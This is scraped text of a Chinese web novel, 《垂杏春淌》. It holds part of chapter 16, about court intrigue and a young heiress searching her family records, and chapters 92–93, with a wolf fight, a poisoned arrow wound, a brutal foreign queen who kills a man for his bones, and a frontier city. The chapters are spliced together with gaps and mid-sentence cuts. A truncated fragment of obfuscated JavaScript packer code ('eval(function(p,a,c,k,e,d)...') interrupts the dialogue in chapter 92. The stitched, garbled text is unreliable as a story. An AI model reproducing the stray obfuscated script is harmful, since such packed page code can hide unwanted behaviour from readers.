面纱? 离了玉石的柔软绸纱在掌心无轻无重,没有半点分量。 她凑近试图去看,却只嗅到了淡淡的草药香气。 “他居然还留着。” 自言自语时,玄遥已扶着她步上台阶。 “你以后,莫要随便将长命玉石赠人,尤其是男子,不吉利。” 虽是告诫,语气却并不苛刻,玄凝闻言问:“这是何说法?” 说法多了去,有说男子命贱,无法承载玉石之气,或借玉石之气反压;也有说玉石有灵,护佑平安,若无端易主,则对玉石不敬,遭玉石反噬,若想破除只有将收赠人杀了,用鲜血洒玉,告慰玉灵。 玄遥是宁可信其有,不可信其无,发现玄凝偷偷将玉石赠人时,她只想着赶紧把那人杀了。 要不是看在玄凝喜欢的份上…… “总之,不许再赠出去。” 母亲又点了一下脑袋,玄凝捂着脑袋佯装疼道:“哎呦,被点到听穴什么也听不见了……” “你当阿媫傻,听穴是长在头上的吗?” “你说什么,哎我怎么听不见。” 玄遥气不打一处来,一巴掌拍在她屁股上。 “少贫嘴,练功去。” 玄凝却指着某处道:“阿媫,你看那里是不是有只蝴蝶?” 玄遥顺着她的手指望去,正是好春光,小路花团锦簇,何止一只蝴蝶停留。 蝴蝶醉了花蜜,舞步轻盈不再,身姿摇摇欲坠,欲要在蓄暖熏香之所停留小憩,一阵风吹过,将她的翅膀吹得急促,无法落脚歇息。长风暖绵不止,蝶翼扑朔了百下,终是顺着风飘到了女子面前。 长公主挥手赶走了蝴蝶,暖光洒在她身上,更是丰神绰约。 男子抚身摩挲,天覃盈盈一笑,腰肢在他手中如游蛇般晃动,引得身下貌美轻吟,神思轩邈。 他望着碧天,颤声忧虑道:“陛下若是知道了……” “陛下这个时辰还在用午膳呢,你害怕什么?”天覃俯身重咬,似是惩罚他如此扫兴,得了反应又抬头道:“再说,齐美人多久没得陛下恩泽了,怕是连怎么服侍都忘了。” 齐美人不悦瞥她一眼,似是娇嗔道:“还不是怪殿下惹陛下不悦,连带着后宫所有人都得不到陛下宠恩。” “你这张嘴啊……”天覃弯着嘴角,眯眼打量:“真是扫兴,难怪不得陛下喜欢。” 她起身便要离去,齐美人连忙拉回她,一口“姐姐”“好姐姐”的叫着哄着,直到长公主眉头舒展了,他才松口气。 “长公主殿下,你就看在卑内可怜的份上,将我要了去吧,让卑内留东宫伺候你。” 天覃摸着他光滑洁白的下巴,抬起悠悠道:“你长得虽美……但不如他。” “不过你这说话不讨巧的劲,倒是和他很像。” “……是哪位美人,勾得公主魂都飞走了。” 齐美人幽怨的眼神倒叫她眼中光彩忽闪,捧着脸亲了上去:“皱眉的时候,也有几分像他。” 身影再次重叠,晴空之下,园中已无春风,被挥走的蝴蝶趁机停靠在花树上,不想被人用指尖轻轻捻住了翅膀。 蝴蝶在手中挣扎,天英打量着指尖弱虫,眼眸中情绪淡然无味,嘴角却沉了下去。 破碎的蝶翼从指尖滑落,在指纹留下斑斓光泽。 断了翅膀的蝴蝶掉在草丛间,不断翻动着身体,试图再次飞起。 微风习习,蝴蝶借力振翅,尽管有所残缺,舞姿狼狈,却也随着风高飞。 玄凝感到有什么东西停在了她头上,声音虽小,入耳却如扇风。 未曾簪花,哪来的蝴蝶停留。 指尖轻纱缠绕,她正把玩着颈上白玉,忽闻后山异动。 “速叫庄主,罪人不行了!” “难道是醒神灌太多了?可是我是按照庄主吩咐的药量……” “别找原因了,她要是死了,庄主非拿我们做药人不可。” 女子神情焦灼,却听到来人回禀:“庄主刚得了陛下召令,现已离庄。” “那怎么办?” “要不……去请小庄主?” “她现在是个瞎子,你叫她来作甚?” “瞎子怎么了,瞎子也能做主。” 声音从两人头上响起,隐寸一抬头,就看见她们口中的“瞎子”正晃悠悠地站在地宫门上,似乎注意到视线,低眸微微笑道:“不就是药量太大,吐出来不就好了。” “小庄主。” “小庄主卑职万死,卑职不是有意——” 玄凝跃下两人面前,抬手制止:“好了,你也没说错,不用谢罪,快给我带路。” 唉,生在玄家,连瞎了都不得安宁。 辰宿地宫蜿蜒向下,道路曲折复杂,机关密布,若非熟识地形布局,擅闯只有死路一条。 通道幽暗,每隔五步墙上挂着一稀玉灯,隐隐透出蜡油气味。 玄凝暗暗数着明灯,上次进来没走多久就到了,这次怎走了那么久,都已经过了三百稀玉灯,前面的脚步还未停下。 她依稀知道地宫有数层,每层关押的罪人危险程度也都不一样。 看来母亲对她还是手下留情,没把她关最里面。 通道中时不时有风灌进,也只是微微掀起衣摆,直到呜咽声渐近,玄凝觉得衣袍下摆一凉,风从下而上拂过,晃得马尾在身侧飘动,面前的脚步声随之停下。 “小庄主,到了。” 玄凝细细感知,风声幽寒,吹得她脖颈间起了鸡皮疙瘩。 她正要过去,却被身旁隐寸拉住:“小庄主小心,断崖无路。” !地宫深处竟然是断崖。 她心下惊讶,面上还要装作云淡风轻,抓着隐寸胳膊:“带路。” 脚下摇晃,有铁链之声,玄凝推断这是连接断崖的悬梯,周身不断有上升气流,刮得她一身春日黄袍失了温暖,忍不住缩了缩脖子。 “下面有多深?” “回小庄主,深不见底。” 难怪如此寒冷,玄遥是把西山地底也给挖空了吗? 未等她细想,随着脚下步子愈发急促,眼前光亮更加耀眼,有人正交头接耳,见她来后,都纷纷行礼。 “罪人呢?” 隐寸也是愣了一下,惊讶道:“她醒了……” 那倒好,不用她去扣嗓子眼了。 < 16. Chapter.16 《垂杏春淌》全本免费阅读 未时过半,檐角垂脊上的金凤光芒正热。 书房门紧闭,有光透过挡风窗纸斜斜照进,将玄色檀木点上了浅金。 炉中暖香幽幽,玄遥闻出了安神药草的味道,她抬头看着正在沏茶的天英,薄唇轻启,问道:“陛下找我,所谓何事?” 杯中茶水颜色清亮,天英端着茶盏递到她面前:“无事,就不可以找你叙旧?” “陛下想叙旧,正好,我也有旧事想要与陛下一叙。” 玄遥接过茶盏闻了闻,是冬泉水煮的南岳云雾,闻着清香沁脾。她没急着喝,而是放到一旁抬眼缓缓问道:“陛下可还记得魇魔?” 面前人抿了一口滚烫茶水,眼帘微垂,顺手放下茶盏:“自然记得,他通敌叛国,若是没有你,我怕是死无葬身之地。” “陛下高抬。”玄遥端起茶小口啜饮,目光落在天英脖子上的瘢痕,思绪一时恍惚。 那场大火,烧了三天。 她赶到时,四下皆是焦黑,分不清是人是物。 好不容易找到天英,她正要将人背回去时,却听到身后战壕中有人小声呜咽。 “阿遥……救我……” 她低头寻去,看到那人躺在土坑中,脸上血肉模糊,听到动静,红肿的眼皮挣扎抬起,被烈火烤炙的龟裂嘴唇张口道:“阿姐……你来找我了……” “……我不是你阿姐。” 玄家没有叛国贼,她玄遥也没有通敌叛国的弟弟。 天英迟迟没等到她的下文,注意到她的目光,抬手将衣领往上捋了捋。 “怎么忽然提到他。” 她晃过神,垂眸掩藏哀绪,笑道:“可能是上了年纪,最近总是梦到魇魔并没有死,回来找我报复了。” “你比我小三岁,你若上了年纪,我岂不是半只脚踏进棺材里。” 她只字不提魇魔身死,玄遥笑了笑,低头轻抿:“陛下莫要打趣我。” 天英端着茶盏在手中缓缓转动,抬眼时,收了笑容:“玄遥,我与你关系如何,对玄家如何,你应该是心如明镜。” “玄凝遇害,的确是沛儿找人做的,不过先前她脸上挨了一剑,现又遭了惊吓,如今我已经命她待在东宫思过,这件事,就此作罢吧。” “……”玄遥轻抚上杯沿,半晌不语。 “怎么,阿遥不肯赏脸?” “此事何须陛下开口,我本意如此。”玄遥再次举杯,只是这一次茶温正好,她噙了半杯茶香,又道:“是我管教不周,惹陛下与公主烦忧。” “你我之间,就不要话里有话,藏藏掖掖了。” 天子放下空盏,盯着地板上的光影叹道:“沛儿确实被骄纵惯了,如此下去,怕是日后无缘天子之位。” 玄遥手中动作一滞:“此话何解?” “我今日找你来的目的,就是想和你商讨这件事。” 天英看着她,剑眉下,神情严肃:“沃城那位,近日又有动作。” 玄遥不动声色放下茶盏,难怪着急召她来,又主动提出和解,原来是要用人了。 皇长公主膝下有两子,年长的比天覃还要大两岁;年龄小的如今也已到及笄之年。 比起长公主荒唐无度,这两郡主如今是能文能武,怀治世之才德,在当地名望颇高,就连先帝也甚是疼爱两人,曾许诺皇长公主,劝说天子择贤才,立储君。 “线人来报,沃城有数艘商船停靠,上面有大量军中物资。”天英盯着她问道:“玄遥,你说皇姐她想要做什么?” 玄遥没有顺着她的问题回答,而是道:“我回去就派人去查。” “嗯,此事不可打草惊蛇。” 天英见她杯中见底,又抬手倒上了半杯:“还有件事,皇姐的两个孩子如今也都大了,我却连她们的样子都不清楚,你家那位若是近来无事,不如替我跑一趟,看看她们是否真如传闻中一样。” “……你想让玄凝去?” “她自小在山上修行,也该去人间历练历练了,不然将来怎么做玄家庄主。” 玄遥低头看着杯中涟漪,轻声道:“是……” * 日暮四合,辰宿庄灯火燃明,玄凝撑着脑袋趴在床边,问道:“所以你就答应了?” 玄遥端着药走过来,命一旁女侍将人扶正,道:“这是陛下给你的台阶,只要你做好这件事,今后她也不会再为难你。” “天子这算盘打的,把自己摘得干干净净,又拿我当棋子推向对面。”玄凝闻到了怪味,一张脸瞬间变成了苦瓜:“怎么又是它,不是说要换药吗。” 见她拔腿就要跑,玄遥一把将人按住,将碗沿递到她嘴边:“三日后启程,不可延误。” “阿媫,你放下我,我自己会喝的。” “等你喝完,我自会将你放下。” 玄凝不记得自己是怎么喝下那碗药的,她母亲灌药的手法,比母鸡下蛋还要娴熟,等回过神时,嘴巴里全是浓烈苦味。 良药苦口,但也确实管用,第二天醒来她就发现自己可以辨别颜色了。 后山依旧没有动静,玄遥昨晚得知她去了地宫,说什么也不肯再让她下去,还警告她不要多问。 她不让问,不代表她没本事查。 又是两碗苦药下肚,她的眼睛恢复到依稀可以看清字迹时,趁着玄遥去巡店,驾着墨云就跑到城东绿水山庄,也就是玄家存放典籍资料的地方察看。 门口侍卫见她来还要拦着,说玄家重地,没有庄主之命,任何人不得进入。 “哪怕是我也不行?”玄凝眼睛微眯,抱手瞧着她们。 “是的,小庄主莫要为难我们。” 为难倒是不会为难,顶多是打晕了直接闯进去。 玄凝将人拖进屋子,大摇大摆地开始翻找族谱,却不想楼上有人轻咳。 “小庄主来找什么?” 她仰头望去,是个美人。 美得雌雄莫辩,亦正亦邪。长发未束,懒洋洋地散在肩背上,被阳光照射的柔顺温润。一身雾青宽袍敞襟半露,手中拿着青黄书简,泛白手腕上戴着水色翡翠,就连脚踝上也有一抹水莹,他光脚坐在阁楼栏杆上,正低眸望着她。 “你是何人?” “小庄主不记得我了?”他收起竹简,撑着手肘侧躺在狭窄的栏杆横木上,望着女子迷茫神色,轻笑道:“我是阿紫啊。” 阿紫? 玄凝两眼放光,又将人从头到脚打量了一遍:“你是阿紫?你怎么长成这样了?” 她印象里的阿紫还是个成天哭哭啼啼,只会把鼻涕流到嘴里又哭着吐出来的文弱小书童。 目光落在他胸襟,她挑眉惊讶:“你是男的?” 男子不情愿地收拢了衣服,勾着狭长眼角怨道:“小庄主才知道啊。” 阿紫是她小时候的陪读兼玩伴,小时候就长得就漂亮,大眼睛长睫毛,又以女装示人,玄凝对他的性别从来没有怀疑过。 难怪他那时不愿意陪她一起洗澡。 玄凝正低头想着,忽然听到他惊呼一声,抬头见他身形一晃,从阁楼上掉了下来。 她下意识伸出胳膊,那雾青不偏不倚,刚好落在她怀中。 他紧紧搂着她的脖颈,浑身瑟缩,见自己无事,他小心翼翼睁开眼,望着她的眸眼犹如受惊小鹿般湿漉。 “小庄主……” 视线落到他露出的大片雪白,玄凝移开目光,将人迅速放下。 “……” 阿紫愣了一下,随后笑道:“小庄主长大了,与阿紫也生疏了。” “我那时以为你是女孩子,亲近时难免失了分寸,你不要多想。” 玄凝对他没有任何心思,自然也就毫不拖泥带水将两人关系撇清。 阿紫看上去对她的话没有多大反应,只是笑着道:“小庄主刚才再找什么?需要阿紫帮忙一起找吗?” 他分明看见她打晕了人带进来,却坐视不管,还要帮她一起找? “你为什么在这里?” “小庄主要是好奇我的事情,那阿紫可以慢慢讲给你听。” “算了。”玄凝转过身去,没有看到他戛然而止的笑容,“你知道玄家族谱放在哪里了吗?” “族谱……红福宗祠里不就有一本吗?” “我要的是完整的,有男有女的那本。” “小庄主为什么要找……” 玄凝疑惑瞪他:“问这么多干嘛,你不帮我找就别开口打扰我。” 阿紫被她凶后,眸中迅速蒙了层水雾,盯着她的侧脸委屈道:“族谱在小庄主面前左边的书架的第一排第十三列。” 玄凝狐疑看了他一眼,却还是按他的话爬上了梯子,将放在最上面的厚重典籍取了下来。 还真是族谱。 她翻开迅速略过一眼,玄家以前的人口还是很多的,只是越往后人口越少,等到了玄凝这一代,就只剩下她一棵独苗。
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Chapter.92 不同于人对血嫌恶反胃,避之不及,血液散发的腥锈味在饿兽眼中是诱惑香气,是受伤信号。 在那一双双苍蓝或浅棕的凶恶瞳眸中,此刻的玄凝,是可轻易扑咬撕碎的弱小猎物,哪怕是看见长公主奔逃,狼群并没有着急追逐,反而呈狩猎状态分散开来将她包围。 此时头顶上方的狭长天色沉霭,太阳已归西山,日月照拂不到的山谷彻底被漆黑笼罩,也就只有明亮星空照映在泛光的雪地,银茫茫的一片,还算得上驱散黑暗。 借着雪地反射的昏光,玄凝架着长剑,目光戒备着周围动静,那只深灰色的狼一跃而起,跳到铺着白雪的怪石上,姿态傲慢又极具威严气势。 看样子它应当是狼群之首,否则狼群也不会它健壮的身躯发出低吼后,磨爪咧牙,蠢蠢欲动。 这和蒙眼论剑的最大区别,也就在于点到为止和以命相搏了。 心声还未落地,前后各有灰狼疾奔,玄凝撑地翻身躲过迎面扑来的灰狼,掌中剑迅疾劈砍弯月,一剑斩去了从后方扑来的灰狼前肢,拎着后颈朝奔来的狼群扔去。 狼群听到同伴哀嚎停住了脚步,它们是和人一般的群居动物,闻到来自族胞的鲜血,会轻舔着伤口给予安抚,同时也会将对食物的渴求,转化为对外来挑衅者的恨意。 又是一声嚎叫,看着自己的威慑并未起到作用,玄凝咂舌道了一声“麻烦”,随之剑尖扬起地上的雪,抡身转踢,一只被踹飞,还有一只灵活躲过了她的脚,朝她受伤的小腿咬去, “小畜生。” 那是只脸长得像狐狸的白狼,单看体格它不如其它狼类,但行为却极其敏捷灵活,玄凝低头暗骂了,逍风刺下去时,被她踹远的灰狼发出一声短促怒吼,迅速向她扑咬。 随之一同围攻的还有三四只朔北狼,玄凝眉心紧锁,剑锋顷转,寒光破开霜雪,奔雷陡洒红叶,予孤雪朱砂画。 落地时,身形有些摇晃,腿上的小白狼还抱咬着她缠住伤口的厚厚布条,倘如它牙齿再长一些,便能扎进她的皮肉。 玄凝捏着它的后颈皮肉,试图将它跟拔萝卜似得拔起来,但这样的举动,在它母亲眼里是死的威胁,还不等她将白狼丢出去,一道黑影踩着怪石腾空而跃,獠牙直冲后颈。 “嘶!”玄凝防不胜防,被扑来的狼王压倒在地,她能感觉到尖锐穿过衣料,扎进薄皮下的血肉,与跳动的脉搏失之交臂。 死畜生,她今天非要把这只小白狼扒了皮做狼裘。 不远处上空有红光划过,玄凝正与狼王搏斗,等她注意到时,碧绿极光下也就只剩下一缕硝烟。 玄鸟箭,这么近应该是长公主放的,难道她那边又出什么状况了? 未被护甲保护的胳膊忽的一疼,那只不怕死的小畜生居然还敢上来咬她。 玄凝架着逍风抵挡住狼王的利齿,抬脚蹬开了缠咬在脚上的灰狼,闷吼用力,将压在身上的狼王推开距离,趁聚力未散,反手挥剑,狼血溅了一脸,荣光如泼墨画般肆意滴落,顺着玄甲上的规则方圆画出哀歌。 那凶勇无惧的美丽,应当被神认可。 有人心生感叹,绷紧的弓弦却骤然松开,直奔十丈外的身影。 玄凝正提剑步步逼近小白狼,捕捉到声音,皱眉急忙扑闪躲开。 刺裂夜风的箭矢斜斜扎在面前,看见熟悉的鹰标,她忍不住在心中疑然:“怎么才放暗箭,这沧灵军也迷路了?” 狼王死后,剩下的四五只朔北狼纷纷竖着尾巴逃窜,只有那还不知道自己要被做成狼裘的小畜生,嘴里呜呜耶耶的还想咬她,玄凝一脚踢开,躲在山石后面警惕地环视周围山壁,浓夜遮掩,她没有发现任何可疑的身影或晃动。 不过,还是有一件可疑的事情让她注意到了。 靠近箭镞的箭杆上好像绑了什么东西。 出于谨慎,玄凝拎起在一旁狗叫的小白狼扔了过去,等了好一会儿,也没等来被扎成筛子的狼裘,眼看那小白狼又屁颠颠跑过来啃她靴子,玄凝忍无可忍地警告道:“再咬人我现在就送你下去。” 小白狼气势汹汹地,一口咬破了她警告的手指。 “嘶你个没娘的畜生。” 玄凝按着小白狼的脖子刚想下手,一支箭倏忽划过藏身之处的上方,扎在了面前雪地里。 几缕发丝掉落在晦暗雪地,玄凝捏着发丝,冷意由伤处蔓延开来,她不禁打了个寒颤。 这只箭,是挨着她头顶划过去的。 为什么,既然发现她暴露了头首,为何不直接一箭射穿她的脑袋,总不能是单纯向她展示沧灵军的弓箭手是多么精准优秀。 望着那支捆绑着不明物件的鹰箭,玄凝放开小白狼,蓄势从山石后跑出来,拔出来,跑回去,动作一气呵成没有半点停顿。 没有进食,又一直处于流血状态,她的体力根本所剩无几,回到山石后便深呼了几口,以缓解晕眩的脑海。 东西是用一根红绳绑在箭杆上,玄凝解下来拿在手上打量了片刻,那是张叠起来的纸薄匣,里面好像有什么粉末,她放到正孜孜不倦与她奋战的小白狼面前,按着脖颈强迫它闻了闻,“怎么样,有没有毒?” “呜……呜嗷!” 它又咬住了她胳膊上的护具,玄凝丢开它,“看来是没有。” 即便没毒,玄凝仍不敢掉以轻心,她随手将包着粉末的纸张塞进腰间,微微露头观察着身后,狼血染红的雪地上,依旧没有人影。 算了,当务之急,是找到长公主汇合。 那人说不准还在高处架着弓箭瞄她,玄凝想了想,决定绕道而行,只是她刚蹲身挪出一步,忽然一口鲜血涌上喉头,粘黏在唇齿顺着嘴角缓缓落下。 “哦嗷——” 小白狼激动地嚎叫,气得玄凝一把捏住它的嘴,“怎么,见我吐血你很高兴是吗?” “呜——呜——” 小白狼本就竖着尾巴绷直僵硬,跟沾了水被冻住的扫把似得。 “我要是死在这,你……” 一声无比熟悉,和气急败坏的呼喊从不远处传来,打断了她的话。 “玄凝你个骗子——那个洞——是蛇窝!!” 这也不能怪她骗人,她白天进去的时候也没看到蛇。 “叫什么……”玄凝循着声音回眸望去,却见身后怪石上,不知何时出现了一只通体雪白的细蛇,正冲她吐着蛇信。 地上七零八落躺着的狼尸上,也不知什么时候爬满了长短不一的白蛇,她刚从饿狼嘴里活下来,又遇见大冷天不睡觉的蛇,玄凝感叹自身遭遇的同时,还不忘腹诽一下长公主。 什么吉祥物,运气全在她身上,旁人是沾不得一点。 看着不断靠近的蛇首,玄凝的脑袋愈发昏沉,连眼前的白蛇都忽隐忽现。意识飘忽不定时,身后有人唤着她,“阿凝……” “棠宋羽?” 她回过头,身影朦胧模糊,似浪花层层堆砌,一会儿远在海岸线,一会儿又近到怀中,玄凝扶着地面想要站起,半晌却发现自己还坐在地上。 天杀的,她好像出现幻觉了。 听到嗷嗷叫声,天覃这才注意到她身处的石头,等她小跑过去,却见玄凝晃着身子,“咚”一声闷响晕倒在地。 “玄凝?” 有风拂过因忆起往事而惊恐的眸眼,身影仿佛不是倒在雪地上,而是倒在长信宫朱红的地板上。 “阿父?” 箭矢射出了男人的喉咙,他微微惊怔的眼中,映着持剑赶来的凤影,是从未褪色的记忆中,同样的飒爽英姿。 “沛……沛……” 他再次抬起了握着匕首的手,缓缓的,靠近视线中那点红灼。 “放箭!” 一声令下,箭镞瞬间飞出,直冲男人的脑袋。 “阿父……不!阿父!” “带公主下去。” 天覃反应过来时,已经被人抱在怀中,她用力捶打着护卫的脊背,“放我下来!母君!母君!为什么!” “他要杀你。” “胡说!要不是你屠了阿父的族人,他怎会疯癫至此,都是你的错!你逼死了你的君夫,害死了我的阿父,你就是个冷血无情的刽子手,我再也不喜欢你了!我讨厌你!” “……公主受了惊吓,还不带下去让医官看看。” “不!放开我!”天覃挣扎半天也未能从护卫怀里挣脱,望着倒在地上的男人,眼中含着的热泪,一滴滴砸落在地上,不管她如何哭喊,她的母君,始终不肯回眸松口。 甜枣食去果肉,只剩一颗尖核,嗦之味涩,又难弃之,只能深埋泥沼中,或腐烂,或出芽,或上下沉浮,终日痛苦,用酒色玩乐麻痹自我。 天覃痛恨自己不甘腐与烂泥的心,更痛恨坚信她终有一日能够茁壮的母亲。 黄靖宗巴结她的目的,她动动脚指头就能想明白。 一个除了地位一无所有,什么都不懂的太子,操控起来,该是多么得心应手。 成为她的傀儡,成为她的失望,成为她的…… “让开。” 出神之际,有人悄然经过她身边,冰冷的余光掠过眼角,天覃来不及询问,就见他单膝跪在地上,解开了披风垫在雪地,将晕倒的人翻面放平在上面。 “银甲,背上有玄弓……你是沧灵军?!” 萨耶刚上手去拆玄凝腿上的布条,身后人忽然拔出匕首朝他刺来,他目不斜睛,抬手施掌,如他所料,此人并不善武,仅三成力就能将其放倒在地。 “好痛……”天覃狼狈地爬起来,见他捡起掉落在身旁的匕首,连忙出声呵止道:“你别碰她!” “她伤口有毒。” “什么?” 沾满污血的布条断口整齐,凌乱地堆成一团,被鹰喙箭头划破的伤口丝毫没有愈合,还在往外渗着乌黑的浓稠血液,天覃不敢看下去,捂着口鼻躲到一旁侧身坐下道:“你手脚最好干净些,否则我就……就让人宰了你。” 手中火光来回烤炙着锋刃,萨耶始终拧着眉心,至于长公主的话,他全当耳畔呼啸的风,闻而不理会。 箭上涂抹了沧灵巫医研制的毒液,被划破的伤口若是出血,便会流血不止。 最初的目的,是为了方便猎人在雪地狩捕大型野兽,因此,除了阻碍凝血的毒物,里面还加入了能够使人产生幻觉,陷入昏睡的摄魂芝。 她能撑到现在,属实惊人,若是没有遇到狼群,可能她真的会清醒坚持到同伴救援。 火折点燃了堆叠布条,缕缕风腥钻进鼻腔,萨耶狠下心来,将镀过火焰的尖刃,紧贴着绽开的伤口轻刮。 毒物残留在伤口表面,不清理就使用止血的药物,只会让二者相互抵抗,使毒物更加活跃。 昏睡中的女君眉峰逐渐低敛,萨耶时刻用余光紧盯着她的反应,听见她喉间微微发出闷响,看样子是要被疼醒,他果断伸出手,在她后颈捏了一下。 若是玄凝清醒着,定觉得此举眼熟,但她深受摄魂芝影响,后颈一疼,意识再次坠落深海前,只觉得此人手上似乎戴了什么东西,冷凉地扎人。 确认她短时间不会再醒来,戴着狼牙指环的手默默拿开,萨耶心抒了一口气,垂下眸继续清理伤口。 本用来止血的粉末没有被伤口吸收,反而与污血混凝成血块,粘黏在绽开的伤口上,刮下来颇考验耐心。 萨耶有的是耐心,倒是一旁的小白狼顽童心性,踩在她的身上,咬着裤脚往上拽,像是把他当成了分食的同伴,摇着尾巴邀功。 他看了斜对面躲着的女子一眼,对方出于害怕,丝毫没有理解他的意思,反而瞪着美如榆木的大眼,催促他快点。 萨耶只好腾出一只手,将小白狼从她身上扒拉下来,拍了拍脑袋道,“好孩子,去找你的族群吧。” “你叽里呱啦说什么呢?”天覃感觉有点冷,忍不住捂鼻往火光处靠了靠,“你不会是要用它传递情报?” 萨耶:“……” 天覃怀疑对方是不想搭理她,故意装作没听懂,抱过小白狼在腿上检查道:“不许动,不然就把你烤成肉串。” “呜嗷……” 她低下头,没有看见对面带着面甲,神秘兮兮的沧灵军的动作,等她再次抬眸,却见那人的指尖在玄凝腰带上来回摸索,像是在找什么。 “啧。我说你,不会是喜欢上我家侍卫,打算投诚了吧?” 萨耶动作一顿,神情坚定道:“她不是侍卫。” “她就是我的侍卫。”玄家,就是效忠天家的侍卫。 “……” 琼国若连侍卫的腰带都是由金线穿织,也难怪王座上的那位,疯了似得想要攻打占据金州沃土的琼国。 想到那人,萨耶冷下嘴角,勾着指关节抽出了藏在里面的纸张,将给她的解药撒在了祛除干净的伤口上。 她随身携带的,应该也并非普通止血药,至于是什么药材成分,萨耶并不感兴趣,在一人一狼的监督下,他包扎好了伤口,将人翻回平躺的状态,起身便要走。 小白狼扑到了脚边,天覃也随之站起,抱手以掩饰心虚,“哎,救都救了,你就不能带我们出去?” 萨耶回眸望了眼躺在地上的人,“我已听从神旨,救了她一命……” “说琼官话,我听不懂。” 他收回难解的目光,冷眼一瞥,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“王君她……很生气,你要小心。” “嗯,多谢提醒。” 靠近女真王的营帐,从里面传来的欢叫并不雅观,萨耶站在门口,在女侍的躬身邀请下,犹豫着掀开门帘走了进去。 宽敞的帐内灯火燃烧,正是浓香时,他的到来,并没有让声音停下,反而让潺潺的愉声,脆如雨珠拍打礁石岸。 “回来了?” 声音隔着千层万重的紫烟而来,萨耶单膝落在地上,对着空无一人的王座行礼道:“是,律真王上。” “说了多少次,你无需对那个位置下跪。” 声音冷冽又濒临动怒边缘,萨耶跪转了方向,床帐中的身影摇晃,他垂眸视而不见,“王君找我可有要事?” “没有要事,本王就不能找你了?” 穿戴金指链的手缓缓拨开帷幔,露出一双幽暗阴冷的猩红双目,如蛇般紧盯道:“我的好神旦,你今天去哪了?怎么这么晚才回来。” 萨耶不疾不徐,淡淡回应道:“奉王上的命令,前去督视阿吉托特的进攻情况。” “神旦的意思是,你整个白日都在观察战况?” “不是,出了点意外。” 他的讲述,与他部下的几乎一致,听完后,律真王招了招手,“过来。” 他起身走到床边跪下,那只涂着金箔黑彩的指尖,沿着额间日月图案,描过淡漠眉眼,发青鼻梁,再到被扎破的脸颊,“谁把你伤成这样,我的神旦。” 女人嘴上心疼着,却从紫纱帐中伸出了腿,以足代手,继而向下检查。 那挑逗的动作已然不是检查,萨耶猛地后退,回避了她的暗示。 “只是小伤,王上若没有其它要问的,我先退下了。” 被拒绝后的律真王再次冷了脸色,她一把掀开帷幔,瞪着想要离开的背影,“萨耶,你想回避我到什么时候?从前你回避我是因为母君,如今她都死了,你为什么还是不肯接受我!” “……” 萨耶转过身,看着充满愤恨的眼睛,字字声沉。 “从始至终,我从未答应过王君。” 她的脾性并不稳定,闻声爆发出一声尖锐的笑声,在萨耶听来,比徘徊在崖边,即将死亡的秃鹫凄鸣还要可悲。 “好一个从未答应,那我算什么?拥兵自立,谋害长姐长兄,弑母夺位,萨耶,我为你做的这一切都算什么?” “……” “你居然还敢把我赐予你的神面给别人戴?那可是我母君的骨头,怎么,神旦大人不喜欢老女人的骨头?那神旦喜欢谁的骨头,本王的你要不要?” 律真王脸上的笑容堪称狰狞,见她一步步靠近,萨耶拧着眉心,再不忍耐道:“迄今为止你所做的一切事情,哪一件不是为了满足你一己之私。” “你说什么?” “娜伊尔,你生下来便是神妲,无论你做出怎样荒谬疯狂的事情,我都无法干涉,所以,你大可一再试探我的底线,将大逆不道的罪行推在我身上。” “但请你不要侮辱她。”萨耶仰着下颏,将快要溃出眼眶的弯月藏进黯淡,“那是你的母君,也是我的。” 话语触动了娜伊尔刚要平复的情绪,在萨耶转身走出营帐前,她忽的大喊道:“她不是你的母君,你是她捡回来的孩子。” “你是个孤儿,萨耶,你是孤儿。” “……” “王上。”萨耶最后一次回眸,带着悲悯与嘲讽,“你现在和我一样,不是吗。” “你!” 身影说完便消失在营帐门口,娜伊尔正愁无处可撒气,恰好那紫纱帐后的人,发出了窸窣动静。 身影缓缓靠近,掀开帘子,那张惊恐的脸上立即堆满了谄媚的笑容,“王……王君……” “你怕什么?”娜伊尔抚摸着男人的脸庞,勾唇一个讥笑,“是怕我剔肉削骨,把你做成人面吗?” “没、没有怕……” “那便最好,话说本王最近想学击鼓,你说,像你这个年纪的男子,骨头应该都很硬朗吧。” 她仍是那副表情,只是毫无笑意的嘴角,令人毛骨悚然。 惨叫结束,门口守卫的手下走进去,便看见一地的模糊血肉,而她早已习惯,拖着尸首跪地问道:“王上,何事吩咐?” 娜伊尔握着新得来的,血淋淋的鼓槌,在王座上一下一下敲着。 “区区一个普通侍卫能够伤到他?呵,让人查清楚那个玄凝到底是谁,我要扒了她的皮作鼓面。” 94. Chapter.93 进入凛冬,往日湍急的怀安河变得安静无比,日复一日的寒风强吹,也掀不起半点波澜。 清早天还未亮,站在城门上,视线里仍是坚冰白尘,银蛇腾雾,与来时看到的景象别无二致。 应该说,与任何时候都一样,除了战时。 身影从可观远处的千里镜挪开,站在城墙边栏上,双手不时在掌心来回搓揉,赶来的天蜻手拿着灰白狼裘,披盖在她身后,将后颈上触目惊心的疤痕,笼罩在温暖之下。 “最近伤口一直泛痒,这狼裘粗硬扎人,害我总是想挠疤。”玄凝将披在身上的狼裘脱了下来,随手递还回去,“你穿着吧。” 见她身后无人,玄凝若无其事问道:“云泥呢?这几日晨巡一直没见到她。” 天蜻接来狼裘,眼神不自然低下道:“她……水土不服,还在睡着。” “水土不服?”狐疑目光紧盯着她垂落的眉头,“距抵达金临,已过去半月,你现在告诉我,她还在水土不服?” “呃,沧灵攻城数日,她带队防守西南城墙,可能有些劳累过度。” “这样啊。” 玄凝倏尔弯眼,浅浅冷笑道:“可沧灵攻城,也已是五日前的事情。而且,我怎么听说右护卫云泥,昨日与一个朔北男子,当街追逐打闹,牵手入住客栈,子夜才归营。” “是,是吗……” “怎么,你与她同住,会不知道?” 想不到有朝一日,隐寸会监视到自己人头上,天蜻抿了抿唇,心知隐瞒不了,跪下时连腰杆都不似往日挺直。 “属下本不该隐瞒,只是云泥她向我保证,不会耽误军令,我才……还请殿下宽恕她这一回,我这就回去喊她起来。” “罢了,今日先让她好好休息,下不为例。” 玄凝叹了口气,她怎么也想不到,自己本来是派人监视跟随军队一同来的译官令,却意外得知了从小相识的贴身侍卫,有了新宠。 若只是普通男子,她也就当听个八卦,不管不问,可好巧不巧,那是个朔北人。 